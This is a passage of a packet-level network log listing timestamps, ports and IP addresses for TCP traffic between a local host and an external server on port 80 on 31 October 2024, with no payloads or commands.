Oct 31, 2024 05:07:21.541476965 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.541480064 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.541491985 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.541498899 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.541508913 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.541521072 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.541532993 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.541539907 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.541551113 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.541553020 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.541565895 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.541574955 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.541583061 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.541595936 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.541601896 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.541611910 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.541626930 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.541632891 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.541646004 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.541649103 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.541661978 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.541666985 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.541681051 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.541685104 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.541697025 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.541703939 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.541712046 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.541716099 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.541731119 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.541733980 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.541753054 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.541757107 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.541768074 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.541773081 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.541794062 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.541796923 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.541809082 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.541821957 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.541821957 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.541826010 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.541852951 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.541872025 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.541882992 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.541897058 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.541912079 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.541918039 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.541939020 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.541956902 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.541975975 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.541990042 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.542005062 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.542016029 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.542021036 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.542036057 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.542037010 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.542043924 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.542069912 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.542119026 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.542133093 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.542149067 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.542162895 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.542181969 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.542196035 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.542201996 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.542216063 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.542231083 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.542241096 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.542248011 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.542270899 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.542277098 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.542292118 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.542314053 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.542318106 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.542329073 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.542336941 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.542346954 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.542346954 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.542362928 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.542366028 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.542378902 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.542380095 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.542398930 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.542412043 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.542457104 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.542469978 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.542501926 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.660609961 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.660626888 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.660650015 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.660665035 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.660680056 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.660691023 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.660701990 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.660706043 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.660722971 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.660732031 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.660737991 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.660751104 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.660756111 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.660770893 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.660784960 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.660794973 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.660809040 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.660816908 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.660824060 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.660825014 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.660847902 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.660861015 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.660865068 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.660880089 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.660892010 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.660892963 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.660907984 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.660912037 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.660921097 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.660928011 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.660943985 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.660949945 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.660959005 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.660964966 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.660974979 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.660974979 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.660999060 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.661000967 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.661017895 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.661020994 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.661031008 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.661041021 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.661046028 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.661061049 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.661068916 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.661070108 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.661084890 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.661096096 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.661101103 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.661114931 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.661115885 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.661134005 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.661134958 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.661147118 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.661151886 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.661174059 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.661175966 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.661190987 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.661204100 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.661223888 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.661245108 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.661273956 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.661288023 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.661303997 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.661318064 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.661329985 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.661336899 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.661355972 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.661359072 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.661370039 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.661375046 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.661391020 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.661403894 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.661406994 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.661417007 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.661441088 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.661456108 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.661485910 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.661500931 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.661516905 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.661530972 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.661546946 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.661550045 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.661571980 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.661587954 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.661596060 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.661611080 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.661618948 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.661628008 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.661633015 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.661643028 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.661659002 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.661659956 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.661673069 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.661684990 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.661715031 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.661736012 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.661751032 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.661767960 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.661781073 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.661798954 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.661824942 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.661843061 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.661858082 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.661874056 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.661880970 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.661890030 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.661899090 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.661906004 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.661912918 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.661920071 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.661931992 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.661943913 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.661963940 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.661988020 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.662003994 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.662019014 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.662029028 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.662041903 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.662065029 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.662096024 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.662123919 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.662132025 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.662139893 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.662154913 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.662168026 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.662172079 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.662184000 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.662184954 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.662199020 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.662221909 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.662230015 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.662271023 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.662278891 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.662323952 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.780204058 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.780206919 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.780217886 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.780232906 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.780249119 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.780262947 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.780266047 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.780281067 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.780288935 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.780298948 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.780323982 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.780324936 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.780334949 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.780339956 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.780364990 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.780364990 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.780380011 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.780383110 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.780397892 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.780400991 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.780421019 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.780425072 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.780441046 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.780462027 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.780463934 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.780472994 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.780478001 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.780494928 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.780503035 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.780518055 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.780527115 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.780541897 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.780544043 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.780558109 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.780572891 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.780574083 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.780589104 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.780602932 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.780613899 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.780613899 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.780628920 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.780639887 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.780654907 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.780659914 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.780670881 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.780680895 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.780688047 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.780699015 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.780704975 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.780709982 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.780730009 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.780730963 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.780750990 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.780762911 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.780765057 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.780777931 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.780800104 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.780805111 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.780822039 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.780826092 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.780838013 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.780839920 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.780858994 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.780860901 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.780875921 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.780880928 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.780891895 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.780891895 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.780919075 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.780932903 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.780951023 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.780977011 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.780992031 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.781012058 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.781013012 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.781030893 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.781037092 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.781044960 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.781073093 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.781086922 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.781097889 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.781102896 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.781126022 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.781145096 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.781152010 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.781189919 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.781198025 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.781228065 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.781230927 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.781244993 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.781260014 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.781266928 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.781277895 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.781280994 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.781303883 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.781315088 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.781358004 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.781373978 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.781388998 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.781403065 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.781404972 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.781414986 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.781435966 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.781450033 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.781451941 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.781481981 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.781487942 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.781490088 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.781522036 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.781533957 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.781541109 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.781550884 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.781569958 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.781582117 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.781636000 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.781651020 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.781672955 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.781683922 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.781688929 CET	80	49851	185.215.113.16	192.168.2.4
